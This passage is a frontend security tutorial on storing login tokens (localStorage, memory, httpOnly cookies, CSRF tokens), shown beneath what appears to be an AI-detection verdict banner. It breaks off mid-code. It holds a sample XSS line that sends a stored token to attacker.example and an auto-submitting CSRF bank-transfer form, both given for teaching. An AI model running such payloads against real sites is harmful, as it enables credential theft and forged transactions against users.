What's the best way to do authentication in modern applications
Pangram verdict · v3.3
We believe that this document is fully AI-generated
AI likelihood · overall
AIArticle text · 1,822 words · 5 segments analyzed
Ask ten frontend developers where to store a login token, and you’ll get four answers and an argument. And because each approach addresses different concerns, the debates continue without resolution. So let’s clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases. I go much deeper on XSS and CSRF in my FREE frontend security course, but I wanted to tackle auth on its own. The basics I’ve written this, you might have too. Every “build a full-stack app in an afternoon” article and tutorial has written this. The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on: async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); localStorage.setItem('token', token); } async function fetchProfile() { const res = await fetch('/api/me', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}`, }, }); return res.json(); } That token is almost always a JWT. A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role. The signature is a stamp that proves your server produced this exact payload and that no one tampered with it. The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up. The user’s ID is inside the token, cryptographically vouched for, so there’s no database row to read to get the userID or to verify the user. People call this “stateless”. And to be fair to the tutorials, this works. It survives refreshes because localStorage persists, and it sidesteps every cookie headache. The Authorization: Bearer header also travels across domains cleanly, so an app on one domain can call an API on another without much thought. JWT works, but the code we wrote has exactly one problem: where we stored the JWT.
What XSS does to that token localStorage has one defining trait: any JavaScript on your page can read all of it. Whose JavaScript runs on your page? Yours, sure. But also every npm package you installed, and every package those packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject. And, the day it happens, an attacker’s. That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release. When that happens, the token is one line from gone: fetch('https://attacker.example/collect', { method: 'POST', body: localStorage.getItem('token'), }); The attacker now has your bearer token, and “bearer” is literal (It does not come from the show The Bear): whoever bears it is you. The server checks the stamp, sees a valid payload, and says hello. They no longer need your browser. They don’t need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly). If you signed that token with a 7-day expiry, as plenty of tutorials do, that’s a 7-day skeleton key. You can’t cancel it, because the whole point of “stateless” was that the server checks nothing. Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you. ”If they can run JS, you’re already dead” A common saying is that if an attacker can run JavaScript on your page, they can already do anything. Read everything on screen, fire requests from the user’s browser, ride whatever credentials the browser attaches. Hiding the token changes nothing. The first half is true. Protecting the token does not stop XSS. Anyone who tells you an HTTP-only cookie “prevents XSS” is confused or selling something. But look at what the attacker is limited to in each case, because they are not the same case. If the attacker can read the token, they take it home.
The attack keeps working after the tab closes, from their own machine, at their own pace, for the full lifetime of the token. If the attacker cannot read the token, they can only ride the live session. Their script fires requests from inside the victim’s browser while that tab is open, and every one of those requests lands on your server, where your rate limits, logging, and fraud checks live. One is a stolen key. The other is a burglar who can only act while standing inside your house, in front of your cameras, and only until the owner walks out. You’d obviously rather have neither, but XSS bugs ship eventually. The realistic goal is to reduce how often XSS bugs ship and to shrink what they can do when it happens. Security folks call it reducing the blast radius, so let’s set our goal: get the token to a location where JavaScript can’t read it. Attempt two: hold it in memory First instinct: skip storage entirely, keep the token in a plain variable. let accessToken: string | null = null; async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); accessToken = token; // lives in memory, never written to disk } A plain variable like that (it lives in the module’s scope, not on any object an attacker can list) is meaningfully harder to grab than localStorage. LocalStorage is a public bulletin board that an attacker can enumerate key by key. A loose variable is at least something they have to know exists and can name. Harder, though, isn’t safe. The attacker’s code runs in the same JavaScript world as yours. It can replace window.fetch with its own version, wait for your app to attach the Authorization header, and copy the token as it flies past. And you paid a steep price for that narrowing. If your user refreshes the page, and the JavaScript world is rebuilt from nothing. Your variable is gone and the user is logged out. Open a second tab, and it has its own memory, its own empty accessToken, and no idea the first tab exists.
Logged out there too. Nobody ships an app that logs you out on every refresh, so what you can add is to use a second, longer-lived credential whose only job is to silently mint new access tokens. It’s called a refresh token. But then where does the refresh token live? Put it in localStorage, and we’re back to square one. The attacker grabs the refresh token instead and mints fresh access tokens forever. We walked in a circle. JavaScript-reachable storage cannot safely hold a long-lived credential. We need a spot in the browser that JavaScript flat-out cannot reach. Attempt three: the httpOnly cookie Cookies have a bad reputation, mostly because the only time normies meet them is in a consent banner. Underneath the banner nonsense, a cookie is a small value the server asks the browser to store and then automatically attaches to every request sent back to that server. The server sets one with a response header, and we can protect it with a couple of extra flags: Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ Each flag tightens security. HttpOnly tells the browser: never hand this cookie to JavaScript. document.cookie won’t show it. No script can read it, including the attacker’s script mid-XSS. The browser attaches it to outgoing requests, and that is the only thing that can ever happen to it. Secure says only send it over HTTPS, so it never crosses a coffee-shop network in plain text. SameSite=Lax means don’t attach this cookie when the request comes from a different site( with one exception we’ll hit in a second). By using this your frontend actually gets simpler, which is a pleasant surprise. There’s no token to manage, so login is just a request, and later requests only need to opt into sending credentials: async function login(email: string, password: string) { await fetch('/api/login', { method: 'POST', credentials: 'include', // browser handles the cookie from here headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); // Nothing in the response body to store. There's no token in our code at all. } async function fetchProfile() { const res = await fetch('/api/me', { credentials: 'include' }); return res.json(); } But httpOnly stops exfiltration, not abuse.
During an XSS attack, the attacker can absolutely still do damage by making requests in place; they just can’t walk off with the credentials and use them next Tuesday from their laptop. CSRF You’re logged into your bank. The session cookie sits in your browser. In another tab, you open a sketchy coupon site, and its page quietly contains this: <!-- served from evil-coupons.example --> <form action="https://bank.example/transfer" method="POST"> <input type="hidden" name="to" value="attacker" /> <input type="hidden" name="amount" value="1000" /> </form> <script>document.forms[0].submit();</script> The form auto-submits on page load. The request goes to your bank, and the browser sees a request bound for bank.example, checks its jar for cookies for that site, finds your session cookie, and attaches it. Because that’s the deal with cookies. They ride along automatically. Your bank receives a request that appears to be your real session, as if you clicked “transfer.” The money is gone. That’s CSRF, cross-site request forgery: a foreign page tricking your browser into sending an authenticated request you never meant to send. Notice the old localStorage version was immune to this. A foreign site can’t read your localStorage, so it could never build that Authorization header. Switching to cookies traded the exfiltration problem for the forgery problem. The good news: forgery is a mostly solved problem, with a well-documented stack of defenses. The primary defense is a CSRF token. The server plants an unpredictable value in your page, and every state-changing request has to send that value back. The forged form on the coupon site can’t read your page (the same-origin policy stops it), so it can never know the value, so its request fails the check. The common pattern for an API-driven app is “double submit”: the server sets the token as a readable cookie, and your frontend copies it into a header on each mutating request. The server accepts the request only if the cookie and the header match. // The token is in a readable (not HTTP-only) cookie set by the server. function getCsrfToken() { return document.cookie .split('; ') .find((c) => c.startsWith('csrf_token=')) ?